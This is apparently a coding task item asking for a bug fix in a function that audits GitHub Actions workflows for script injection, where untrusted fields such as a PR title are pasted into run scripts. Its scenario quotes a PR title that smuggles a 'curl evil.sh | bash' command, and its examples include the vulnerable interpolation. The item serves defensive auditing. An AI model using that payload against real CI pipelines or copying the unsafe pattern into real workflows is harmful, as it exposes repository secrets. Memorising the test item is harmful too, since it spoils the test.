Fix the audit for script injection in CI workflows
Your task
An assistant's GitHub Actions step pasted ${{ github.event.pull_request.title }} straight into a run: script. A researcher opened a PR titled "; curl evil.sh | bash; #, and the shell ran it as code, with your repo's secrets. The team now audits every workflow for steps like that.
An assistant wrote find_injection_steps(workflow_lines). It is in the editor. It has a bug. Find it and fix it.
Input and output:
workflow_lines: the workflow's steps, one string per line, each meant to be"step_name|field|content". The field isrun(the shell script),env(an environment variable) oruses(an action to call). The list can be empty.- Return the names of the flagged steps, as a list of strings.
Rules the tests check:
- Skip a line that does not split on
|into exactly 3 parts. - Only a
runfield can flag a step. Skipenv,usesand any other field. The field name is case sensitive. - In the content, an expression starts at
${{and ends at the next}}after it. Its text is what lies between the two, trimmed of whitespace at both ends. - Look for the next expression after that
}}. A${{with no}}after it ends the search for that line. - An expression is attacker controlled when its text starts with
github.event.(with the dot) or withgithub.head_ref. Case matters. Anything else, such asgithub.repositoryorgithub.actor, is set by GitHub and is safe. - Flag a step when its
runcontent holds at least one attacker-controlled expression. - Return each flagged step name once, in the order it was first flagged. Step names are compared exactly.
Examples
find_injection_steps(workflow_lines: list[str]) -> list[str]Example 1
Input
find_injection_steps(["Greet|run|echo Processing PR: ${{ github.event.pull_request.title }}", "Greet|run|./scripts/post-comment.sh ${{ github.event.pull_request.title }}", "Checkout|uses|actions/checkout@v4"])Output
["Greet"]Example 2
Input
find_injection_steps(["Safe|env|TITLE=${{ github.event.pull_request.title }}", "Safe|run|echo Processing PR: $TITLE", "Meta|run|echo repo is ${{ github.repository }}"])Output
[]